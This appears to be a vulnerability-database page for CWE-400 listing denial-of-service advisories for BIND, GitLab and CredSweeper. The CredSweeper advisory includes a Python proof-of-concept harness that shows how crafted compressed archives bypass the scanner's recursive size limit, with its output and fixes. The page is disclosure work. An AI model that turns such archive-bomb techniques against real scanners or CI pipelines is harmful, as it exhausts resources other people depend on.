Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

6465 vulnerabilities reference this CWE, most recent first.

GHSA-9MQ2-V988-M7MR

Vulnerability from github – Published: 2022-09-22 00:00 – Updated: 2024-11-29 12:31
VLAI
Details

By flooding the target resolver with queries exploiting this flaw an attacker can significantly impair the resolver's performance, effectively denying legitimate clients access to the DNS resolution service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-21T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "By flooding the target resolver with queries exploiting this flaw an attacker can significantly impair the resolver\u0027s performance, effectively denying legitimate clients access to the DNS resolution service.",
  "id": "GHSA-9mq2-v988-m7mr",
  "modified": "2024-11-29T12:31:47Z",
  "published": "2022-09-22T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2795"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2022-2795"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/10/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CV4GQWBPF7Y52J2FA24U6UMHQAOXZEF7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRHB6J4Z7BKH4HPEKG5D35QGRD6ANNMT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YZJQNUASODNVAWZV6STKG5SD6XIJ446S"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CV4GQWBPF7Y52J2FA24U6UMHQAOXZEF7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRHB6J4Z7BKH4HPEKG5D35QGRD6ANNMT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YZJQNUASODNVAWZV6STKG5SD6XIJ446S"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202210-25"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241129-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5235"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/09/21/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9MQM-5Q47-GJ7C

Vulnerability from github – Published: 2023-02-14 00:30 – Updated: 2023-02-27 18:32
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 14.0 before 15.6.7, all versions starting from 15.7 before 15.7.6, all versions starting from 15.8 before 15.8.1. It was possible to trigger a DoS attack by uploading a malicious Helm chart.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-0518"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-13T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 14.0 before 15.6.7, all versions starting from 15.7 before 15.7.6, all versions starting from 15.8 before 15.8.1. It was possible to trigger a DoS attack by uploading a malicious Helm chart.",
  "id": "GHSA-9mqm-5q47-gj7c",
  "modified": "2023-02-27T18:32:02Z",
  "published": "2023-02-14T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0518"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1766973"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-0518.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/383082"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9MQM-QCWF-5QHG

Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25
VLAI
Summary
CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources
Details

Summary

CredSweeper's deep scanner does not enforce recursive_limit_size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive_scan() continues processing even when the residual budget is already negative.

This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.

The issue has two closely related exploitation paths that share the same root cause:

  1. Single-stream decompressor bypass: gzip, bzip2, and lzma/xz inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.

  2. Multi-entry archive cumulative-budget bypass: zip and tar entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.

The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.

Details

The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.

The relevant call chain is:

  • credsweeper/app.py:323 self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)
  • credsweeper/deep_scanner/abstract_scanner.py:269-305 The initial deep-scan entry point passes a recursive size budget into nested scanners.
  • credsweeper/deep_scanner/abstract_scanner.py:58-94 recursive_scan() stops only on:
  • negative depth
  • data shorter than MIN_DATA_LEN It does not stop when recursive_limit_size is negative.

Exact source-level issue:

  1. Negative budgets are still accepted

credsweeper/deep_scanner/abstract_scanner.py:71-91

if 0 > depth:
    return candidates
depth -= 1
if MIN_DATA_LEN > len(data_provider.data):
    return candidates
...
new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)

There is no guard such as if recursive_limit_size < 0: return.

  1. Full decompression happens before any hard budget enforcement

credsweeper/deep_scanner/gzip_scanner.py:33-43

with gzip.open(io.BytesIO(data_provider.data)) as f:
    gzip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(gzip_content_provider.data)
    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)

credsweeper/deep_scanner/bzip2_scanner.py:38-43

bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(bzip2_content_provider.data)
bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)

credsweeper/deep_scanner/lzma_scanner.py:38-43

lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(lzma_content_provider.data)
lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)

The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive_scan() accepts negative budgets, the oversize content is still scanned.

  1. Multi-entry archives use per-entry checks instead of a shared cumulative budget

credsweeper/deep_scanner/zip_scanner.py:49-60

if 0 > recursive_limit_size - zfl.file_size:
    continue
with zf.open(zfl) as f:
    zip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(zip_content_provider.data)
    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)

credsweeper/deep_scanner/tar_scanner.py:48-59

if 0 > recursive_limit_size - tfi.size:
    continue
with tf.extractfile(tfi) as f:
    tar_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(tar_content_provider.data)
    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)

These checks use the same original recursive_limit_size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.

  1. Same code pattern is also present in RPM scanning

credsweeper/deep_scanner/rpm_scanner.py:42-51

The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.

Version scope:

  • The vulnerable recursive scanning logic was introduced by commit 0bd8fe56ad2e08b12d47677f7dbe1a75913969ae.
  • The last release before that commit is v1.4.8.
  • The first release containing that commit is v1.4.9.
  • Current upstream HEAD and package version 1.15.8 are still affected.

PoC

I reproduced the issue on:

  • Repository: https://github.com/Samsung/CredSweeper
  • Commit: 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  • Version: 1.15.8

I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.

Reproduction steps:

  1. Clone the repository:
git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  1. Save the following as proof_poc.py one directory above the repository, or adjust REPO_ROOT accordingly:
import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile

REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper"))
SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper")

def load_module(name, relpath):
    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))
    module = importlib.util.module_from_spec(spec)
    sys.modules[name] = module
    spec.loader.exec_module(module)
    return module

def reset_credsweeper_modules():
    for name in list(sys.modules):
        if name == "credsweeper" or name.startswith("credsweeper."):
            del sys.modules[name]

def install_common_stubs():
    for name in [
        "credsweeper",
        "credsweeper.common",
        "credsweeper.config",
        "credsweeper.credentials",
        "credsweeper.deep_scanner",
        "credsweeper.file_handler",
        "credsweeper.scanner",
        "credsweeper.utils",
    ]:
        module = types.ModuleType(name)
        module.__path__ = []
        sys.modules[name] = module

    constants_module = types.ModuleType("credsweeper.common.constants")
    constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30
    constants_module.MIN_DATA_LEN = 8
    constants_module.DEFAULT_ENCODING = "utf_8"
    constants_module.UTF_8 = "utf_8"
    constants_module.MIN_VALUE_LENGTH = 4
    sys.modules["credsweeper.common.constants"] = constants_module

    config_module = types.ModuleType("credsweeper.config.config")
    class Config: pass
    config_module.Config = Config
    sys.modules["credsweeper.config.config"] = config_module

    candidate_module = types.ModuleType("credsweeper.credentials.candidate")
    class Candidate:
        @staticmethod
        def get_dummy_candidate(*_args, **_kwargs):
            return "dummy"
    candidate_module.Candidate = Candidate
    sys.modules["credsweeper.credentials.candidate"] = candidate_module

    augment_module = types.ModuleType("credsweeper.credentials.augment_candidates")
    def augment_candidates(dst, src):
        if src:
            dst.extend(src)
    augment_module.augment_candidates = augment_candidates
    sys.modules["credsweeper.credentials.augment_candidates"] = augment_module

    descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor")
    class Descriptor:
        def __init__(self, extension="", info=""):
            self.extension = extension
            self.info = info
    descriptor_module.Descriptor = Descriptor
    sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module

    file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor")
    class FilePathExtractor:
        FIND_BY_EXT_RULE = "Suspicious File Extension"
        @staticmethod
        def is_find_by_ext_file(_config, _extension):
            return False
        @staticmethod
        def check_exclude_file(_config, _path):
            return False
    file_path_extractor_module.FilePathExtractor = FilePathExtractor
    sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module

    scanner_module = types.ModuleType("credsweeper.scanner.scanner")
    class Scanner: pass
    scanner_module.Scanner = Scanner
    sys.modules["credsweeper.scanner.scanner"] = scanner_module

    util_module = types.ModuleType("credsweeper.utils.util")
    class Util:
        @staticmethod
        def get_extension(path, lower=True):
            ext = os.path.splitext(str(path))[1]
            return ext.lower() if lower else ext
    util_module.Util = Util
    sys.modules["credsweeper.utils.util"] = util_module

    content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider")
    class ContentProvider: pass
    content_provider_module.ContentProvider = ContentProvider
    sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module

    data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider")
    class DataContentProvider:
        def __init__(self, data, file_path=None, file_type=None, info=None):
            self.data = data
            self.file_path = file_path or ""
            self.file_type = file_type or ""
            self.info = info or ""
            self.descriptor = Descriptor(extension=self.file_type, info=self.info)
    data_content_provider_module.DataContentProvider = DataContentProvider
    sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module

    def install_provider_stub(module_name, class_name):
        module = types.ModuleType(module_name)
        class Provider:
            def __init__(self, *args, **kwargs):
                for key, value in kwargs.items():
                    setattr(self, key, value)
        setattr(module, class_name, Provider)
        sys.modules[module_name] = module

    install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider")
    install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider")
    install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider")
    install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider")
    install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider")

def get_head_commit():
    return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip()

def get_package_version():
    init_path = os.path.join(SOURCE_ROOT, "__init__.py")
    with open(init_path, "r", encoding="utf-8") as handle:
        for line in handle:
            if line.strip().startswith("__version__ = "):
                return line.split("=", 1)[1].strip().strip('"')
    raise RuntimeError("Cannot locate __version__")

def load_scanners():
    reset_credsweeper_modules()
    install_common_stubs()
    abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py")
    gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py")
    bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py")
    lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py")
    zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py")
    tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py")
    provider_module = sys.modules["credsweeper.file_handler.data_content_provider"]
    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module

class RecordingRecursiveCalls:
    def __init__(self):
        self.calls = []
        self.config = object()
    def recursive_scan(self, data_provider, depth, recursive_limit_size):
        self.calls.append({
            "path": data_provider.file_path,
            "len": len(data_provider.data),
            "limit": recursive_limit_size,
            "info": data_provider.info,
            "depth": depth,
        })
        return []

def build_compressed_payloads(payload):
    gzip_buffer = io.BytesIO()
    with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle:
        handle.write(payload)
    return {
        "gzip": gzip_buffer.getvalue(),
        "bzip2": bz2.compress(payload),
        "lzma": lzma.compress(payload),
    }

def proof_negative_budget_after_full_decompression():
    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    payload = b"A" * 64
    recursive_limit_size = 16
    compressed_payloads = build_compressed_payloads(payload)
    results = []
    for name, module, file_name in [
        ("gzip", gzip_module, "proof.txt.gz"),
        ("bzip2", bzip2_module, "proof.txt.bz2"),
        ("lzma", lzma_module, "proof.txt.xz"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}")
        scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "compressed_size": len(compressed_payloads[name]),
            "decompressed_size": recorder.calls[0]["len"],
            "configured_limit": recursive_limit_size,
            "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"],
            "recursive_call": recorder.calls[0],
        })
    return results

def proof_negative_budget_not_rejected():
    abstract_module, _, _, _, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    AbstractScanner = abstract_module.AbstractScanner
    class DemoScanner(AbstractScanner):
        @property
        def config(self):
            return object()
        @property
        def scanner(self):
            return object()
        def data_scan(self, data_provider, depth, recursive_limit_size):
            return []
        @staticmethod
        def get_deep_scanners(data, descriptor, depth):
            return [], []
        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):
            self.proof = {
                "data_len": len(data_provider.data),
                "depth": depth,
                "recursive_limit_size": recursive_limit_size,
            }
            return []
    demo = DemoScanner()
    provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt")
    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)
    return demo.proof

def proof_cumulative_budget_bypass_in_multi_entry_archives():
    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    recursive_limit_size = 16
    member_size = 12

    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr("a.txt", b"A" * member_size)
        archive.writestr("b.txt", b"B" * member_size)

    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w") as archive:
        for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
            payload = fill * member_size
            info = tarfile.TarInfo(name)
            info.size = len(payload)
            archive.addfile(info, io.BytesIO(payload))

    results = []
    for name, module, data, scanner_name in [
        ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"),
        ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}")
        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "configured_limit": recursive_limit_size,
            "member_size": member_size,
            "member_count": len(recorder.calls),
            "total_extracted_bytes": sum(call["len"] for call in recorder.calls),
            "recursive_calls": recorder.calls,
        })
    return results

print(json.dumps({
    "head_commit": get_head_commit(),
    "package_version": get_package_version(),
    "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(),
    "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(),
    "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(),
}, indent=2, sort_keys=True))
  1. Run it with Python 3:
python proof_poc.py
  1. Expected/observed output from my run on commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:
{
  "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
  "package_version": "1.15.8",
  "proof_1_negative_budget_after_full_decompression": [
    {
      "format": "gzip",
      "compressed_size": 24,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "bzip2",
      "compressed_size": 39,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "lzma",
      "compressed_size": 68,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    }
  ],
  "proof_2_negative_budget_not_rejected": {
    "data_len": 64,
    "depth": 0,
    "recursive_limit_size": -48
  },
  "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [
    {
      "format": "zip",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    },
    {
      "format": "tar",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    }
  ]
}

What this proves:

  • GZIP/BZIP2/LZMA: With a configured recursive limit of 16, CredSweeper still fully inflates a 64 byte payload and then continues recursion with a residual limit of -48.

  • AbstractScanner: The negative budget is not rejected. recursive_scan() still dispatches into deep_scan_with_fallback() with recursive_limit_size = -48.

  • ZIP/TAR: A configured limit of 16 still allows two 12 byte members to be processed, for a total extracted size of 24.

This is a complete end-to-end proof of the root cause and both exploitation variants.

Impact

This is an availability / resource-exhaustion vulnerability.

Who is impacted:

  • Users who run CredSweeper with deep scanning enabled (--depth > 0) on untrusted repositories, archives, or binary inputs.
  • CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
  • Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.

Practical consequences:

  • Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
  • Archive inputs with many individually small members can exceed the configured budget in aggregate.
  • Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.

Security classification:

  • Primary weakness: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
  • Related weakness: CWE-400: Uncontrolled Resource Consumption

I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.

Mitigation

I recommend fixing this in three layers:

  1. Add a hard negative-budget guard in recursive_scan() and structure_scan()

Before any recursive dispatch, abort when recursive_limit_size < 0.

  1. Enforce limits before or during decompression, not after full materialization

  2. gzip, bzip2, lzma/xz should use bounded incremental decompression / bounded reads.

  3. If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.

  4. Track a mutable cumulative budget across sibling archive members

  5. zip, tar, and rpm should share a remaining-budget counter across entries.

  6. After one child is accepted, decrement the shared remaining budget before processing the next sibling.

Recommended regression tests:

  • A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
  • Equivalent tests for bzip2 and lzma/xz.
  • A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
  • A direct unit test for recursive_scan() showing that negative recursive_limit_size stops recursion immediately.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "credsweeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.9"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:25:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nCredSweeper\u0027s deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth \u003e 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n   `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n   `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n  `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n  The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n  `recursive_scan()` stops only on:\n  - negative depth\n  - data shorter than `MIN_DATA_LEN`\n  It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 \u003e depth:\n    return candidates\ndepth -= 1\nif MIN_DATA_LEN \u003e len(data_provider.data):\n    return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size \u003c 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n    gzip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(gzip_content_provider.data)\n    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 \u003e recursive_limit_size - zfl.file_size:\n    continue\nwith zf.open(zfl) as f:\n    zip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(zip_content_provider.data)\n    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 \u003e recursive_limit_size - tfi.size:\n    continue\nwith tf.extractfile(tfi) as f:\n    tar_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(tar_content_provider.data)\n    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python\u0027s standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly:\n\n```python\nimport bz2\nimport gzip\nimport importlib.util\nimport io\nimport json\nimport lzma\nimport os\nimport subprocess\nimport sys\nimport tarfile\nimport types\nimport zipfile\n\nREPO_ROOT = os.path.abspath(os.environ.get(\"CREDSWEEPER_REPO\", \"CredSweeper\"))\nSOURCE_ROOT = os.path.join(REPO_ROOT, \"credsweeper\")\n\ndef load_module(name, relpath):\n    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[name] = module\n    spec.loader.exec_module(module)\n    return module\n\ndef reset_credsweeper_modules():\n    for name in list(sys.modules):\n        if name == \"credsweeper\" or name.startswith(\"credsweeper.\"):\n            del sys.modules[name]\n\ndef install_common_stubs():\n    for name in [\n        \"credsweeper\",\n        \"credsweeper.common\",\n        \"credsweeper.config\",\n        \"credsweeper.credentials\",\n        \"credsweeper.deep_scanner\",\n        \"credsweeper.file_handler\",\n        \"credsweeper.scanner\",\n        \"credsweeper.utils\",\n    ]:\n        module = types.ModuleType(name)\n        module.__path__ = []\n        sys.modules[name] = module\n\n    constants_module = types.ModuleType(\"credsweeper.common.constants\")\n    constants_module.RECURSIVE_SCAN_LIMITATION = 1 \u003c\u003c 30\n    constants_module.MIN_DATA_LEN = 8\n    constants_module.DEFAULT_ENCODING = \"utf_8\"\n    constants_module.UTF_8 = \"utf_8\"\n    constants_module.MIN_VALUE_LENGTH = 4\n    sys.modules[\"credsweeper.common.constants\"] = constants_module\n\n    config_module = types.ModuleType(\"credsweeper.config.config\")\n    class Config: pass\n    config_module.Config = Config\n    sys.modules[\"credsweeper.config.config\"] = config_module\n\n    candidate_module = types.ModuleType(\"credsweeper.credentials.candidate\")\n    class 